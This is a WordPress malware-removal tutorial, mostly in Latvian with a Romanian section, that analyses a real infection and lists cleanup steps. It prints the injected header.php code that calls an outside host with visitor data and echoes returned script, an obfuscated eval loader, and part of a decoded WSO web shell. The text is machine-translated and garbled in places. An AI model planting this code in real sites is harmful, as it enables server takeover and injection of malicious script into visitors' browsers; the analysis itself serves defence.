Noņemiet WordPress PHP vīrusu

autors

0

Noņemiet WordPress PHP vīrusu

Noņemiet WordPress PHP vīrusu

0
Noņemiet WordPress PHP vīrusu

Šajā apmācībā ir parādīts konkrēts gadījums, kad tika inficēts WordPress emuārs. Noņemiet WordPress PHP vīrusu.

Citu dienu es pamanīju aizdomīgu kodu, kas, šķiet, ir PHP vīruss, kas paredzēts WordPress. Šis PHP kods bija atrodams header.php, pirms rindas </head>Apvidū

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Šis ir PHP kods, kas, šķiet, mēģina izgūt resursa saturu no ārēja servera, taču daļa, kas attiecas uz URL, ir nepilnīga.

Darbības mehānisms ir nedaudz sarežģītāks un padara šo WordPress PHP vīrusu neredzamu ietekmēto vietņu apmeklētājiem. Tā vietā tā ir vērsta uz meklētājprogrammām (Google) un netieši izraisa ievērojamu ietekmēto vietņu apmeklētāju skaita samazināšanos.

WordPress PHP Virus ļaunprātīgas programmatūras informācija

1. Iepriekš minētais kods ir atrodams header.phpApvidū

2. Serverī parādījās fails wp-log.php mapē wp-includesApvidū

3. wp-log.php satur šifrētu kodu, taču to ir salīdzinoši viegli atšifrēt.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Atšifrēt ļaunprātīgas programmatūras kodu no wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Šķiet, ka tas ir ļaunprātīgs PHP skripts, kas satur kodu, lai apstrādātu autentifikāciju un darbības ar failiem un direktorijiem serverī. Ļoti viegli var redzēt, ka šajā skriptā ir tādi mainīgie kā $auth_pass (autentifikācijas parole), $default_action (noklusējuma darbība), $default_use_ajax (pēc noklusējuma izmantojot Ajax) un $default_charset (noklusējuma rakstzīmju iestatījums).

Acīmredzot šim skriptam ir sadaļa, kas pārbauda HTTP lietotāju aģentus, lai bloķētu piekļuvi noteiktiem tīmekļa robotiem, piemēram, meklētājprogrammām. Tajā ir arī sadaļa, kas pārbauda PHP drošības režīmu un nosaka noteiktus darba direktorijus.

4. Ja pārlūkprogrammā tiek piekļūts failam wp-log.php, tiek parādīta tīmekļa lapa ar lauku autentifikācija. No pirmā acu uzmetiena šķiet, ka tas ir failu pārvaldnieks, caur kuru jaunus failus var viegli augšupielādēt mērķa serverī.

Vai jums ir WordPress vietne?

Întotdeauna, procesul de devirusare manuală presupune să descoperi și să înțelegi în primul rând, care a fost vulnerabilitatea.

1. Genereaza un un backup pentru întregul website. Acesta trebuie să includă atât fișierele cât și baza de date.

2. Determină cu aproximație de cât timp a apărut virusul și caută pe serverul web fișierele modificate sau noi create în intervalul de timp aproximat.

De exemplu, dacă vrei să vezi fișierele .php create sau modificate în ultima săptămănă, execută în server comanda:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Este o metodă simplă prin care poți să decoperi fișierele WordPress virusate și pe cele care conțin codul malware.

3. Verificați fișierul .htaccess de directive suspecte. Linii de permisiuni sau de executare script.

4. Verificați baza de date. Este foarte posibil ca unele postări și pagini WordPress să fi fost editate cu coduri malware sau să fie adăugați noi utilizatori cu rol de administratorApvidū

5. Verificați permisiunile de scriere pentru foldere și pentru fisiere. chmod un chownApvidū

Permisiunile recomandate sunt: 644 pentru fișiere și 755 pentru directoare.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Actualizați toate WordPress Plugins / WordPress ThemesApvidū

Saistīts: Labot novirzīšanu WordPress Hack 2023 (vīrusa novirzīšana)

Acestea sunt metodebasicprin care poți să devirusezi un website / blog WordPress. Dacă întâmpini probleme și ai nevoie de ajutor, rubrica de comentarii este deschisă.

Noņemiet WordPress PHP vīrusu

Iespējams, jūs interesē arī...

Atstājiet atbildi

Jūsu e-pasta adrese netiks publicēta. Obligātie lauki ir atzīmēti *